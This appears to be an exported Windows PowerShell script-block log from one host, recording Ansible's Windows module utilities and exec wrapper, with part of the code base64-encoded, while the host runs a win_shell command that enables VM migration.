Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2016 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-a60a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 59d4c26b-3782-42cc-9206-33892ecfbb69
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2015 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-9f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: f043435d-e135-4326-b21a-b1a649808834
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2014 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0000-7a0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
aW4KfQoKJHN0YXJ0X2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CnRyeSB7CiAgICAkY29tbWFuZF9yZXN1bHQgPSBSdW4tQ29tbWFuZCBAcnVuX2NvbW1hbmRfYXJnCn0gY2F0Y2ggewogICAgJHJlc3VsdC5jaGFuZ2VkID0gJGZhbHNlCiAgICB0cnkgewogICAgICAgICRyZXN1bHQucmMgPSAkXy5FeGNlcHRpb24uTmF0aXZlRXJyb3JDb2RlCiAgICB9IGNhdGNoIHsKICAgICAgICAkcmVzdWx0LnJjID0gMgogICAgfQogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAkXy5FeGNlcHRpb24uTWVzc2FnZQp9CgojIFRPRE86IGRlY29kZSBDTElYTUwgc3RkZXJyIG91dHB1dCAoYW5kIG90aGVyIHN0cmVhbXM/KQokcmVzdWx0LnN0ZG91dCA9ICRjb21tYW5kX3Jlc3VsdC5zdGRvdXQKJHJlc3VsdC5zdGRlcnIgPSBDbGVhbnNlLVN0ZGVyciAkY29tbWFuZF9yZXN1bHQuc3RkZXJyIAokcmVzdWx0LnJjID0gJGNvbW1hbmRfcmVzdWx0LnJjCgokZW5kX2RhdGV0aW1lID0gW0RhdGVUaW1lXTo6VXRjTm93CiRyZXN1bHQuc3RhcnQgPSAkc3RhcnRfZGF0ZXRpbWUuVG9TdHJpbmcoInl5eXktTU0tZGQgaGg6bW06c3MuZmZmZmZmIikKJHJlc3VsdC5lbmQgPSAkZW5kX2RhdGV0aW1lLlRvU3RyaW5nKCJ5eXl5LU1NLWRkIGhoOm1tOnNzLmZmZmZmZiIpCiRyZXN1bHQuZGVsdGEgPSAkKCRlbmRfZGF0ZXRpbWUgLSAkc3RhcnRfZGF0ZXRpbWUpLlRvU3RyaW5nKCJoXDptbVw6c3NcLmZmZmZmZiIpCgpJZiAoJHJlc3VsdC5yYyAtbmUgMCkgewogICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Enable-VMMigration -passthru -ErrorAction silentlycontinue", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 5ddea997-1be1-49b3-a726-8d6c2784ecab
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2013 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
XNzYWdlCiAgICAgICAgfQogICAgfQoKICAgICMgSWYgJHZhbHVlIC1lcSAkbnVsbCwgdGhlIHBhcmFtZXRlciB3YXMgdW5zcGVjaWZpZWQgYnkgdGhlIHVzZXIgKGRlbGliZXJhdGVseSBvciBub3QpCiAgICAjIFBsZWFzZSBsZWF2ZSAkbnVsbC12YWx1ZXMgaW50YWN0LCBtb2R1bGVzIG5lZWQgdG8ga25vdyBpZiBhIHBhcmFtZXRlciB3YXMgc3BlY2lmaWVkCiAgICAjIFdoZW4gJHZhbHVlIGlzIGFscmVhZHkgYW4gYXJyYXksIHdlIGNhbm5vdCByZWx5IG9uIHRoZSBudWxsIGNoZWNrLCBhcyBhbiBlbXB0eSBsaXN0CiAgICAjIGlzIHNlZW4gYXMgbnVsbCBpbiB0aGUgY2hlY2sgYmVsb3cKICAgIGlmICgkbnVsbCAtbmUgJHZhbHVlIC1vciAkdmFsdWUgLWlzIFthcnJheV0pIHsKICAgICAgICBpZiAoJHR5cGUgLWVxICJwYXRoIikgewogICAgICAgICAgICAjIEV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMg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maWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRy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FyYml0cmFyeSBpbnRlcnByZXRlcj8KICAgICRleGVjX2FwcGxpY2F0aW9uID0gJGV4ZWN1dGFibGUKICAgIGlmICgtbm90ICgkZXhlY19hcHBsaWNhdGlvbi5FbmRzV2l0aCgiLmV4ZSIpKSkgewogICAgICAgICRleGVjX2FwcGxpY2F0aW9uID0gIiQoJGV4ZWNfYXBwbGljYXRpb24pLmV4ZSIKICAgIH0KICAgICRleGVjX2FyZ3MgPSAiL2MgJHJhd19jb21tYW5kX2xpbmUiCn0KCiRjb21tYW5kID0gIiRleGVjX2FwcGxpY2F0aW9uICRleGVjX2FyZ3MiCiRydW5fY29tbWFuZF9hcmcgPSBAewogICAgY29tbWFuZCA9ICRjb21tYW5kCn0KaWYgKCRjaGRpcikgewogICAgJHJ1bl9jb21tYW5kX2FyZ1snd29ya2luZ19kaXJlY3RvcnknXSA9ICRjaGRpcgp9CmlmICgkc3RkaW4pIHsKICAgICRydW5fY29tbWFuZF9hcmdbJ3N0ZGluJ10gPSAkc3Rk
ScriptBlock ID: 5ddea997-1be1-49b3-a726-8d6c2784ecab
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2012 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
oZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWxlU3RyZWFtKHN0ZG91dF9yZWFkLCBGaWxlQWNjZXNzLlJlYWQsIDQwOTYpOwogICAgICAgICAgICBTdHJlYW1SZWFkZXIgc3Rkb3V0ID0gbmV3IFN0cmVhbVJlYWRlcihzdGRvdXRfZnMsIHV0ZjhfZW5jb2RpbmcsIHRydWUsIDQwOTYpOwogICAgICAgICAgICBzdGRvdXRfd3JpdGUuQ2xvc2UoKTsKICAgICAgICAgICAgRmlsZVN0cmVhbSBzdGR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GZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICghR2V0RXhpdENvZGVQcm9jZXNzKHByb2Nlc3NIYW5kbGUsIG91dCBleGl0Q29kZSk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FBhcmFtZXRlciB2YWxpZGF0aW9uIHRvIHNhdmUgeW91IGZyb20gY29kaW5nIHRoYXQgbWFudWFsbHkKICAgIE5vdGUgdGhhdCBpZiB5b3UgdXNlIHRoZSBmYWlsaWZlbXB0eSBvcHRpb24sIHlvdSBkbyBuZWVkIHRvIHNwZWNpZnkgcmVzdWx0b2JqZWN0IGFzIHdlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0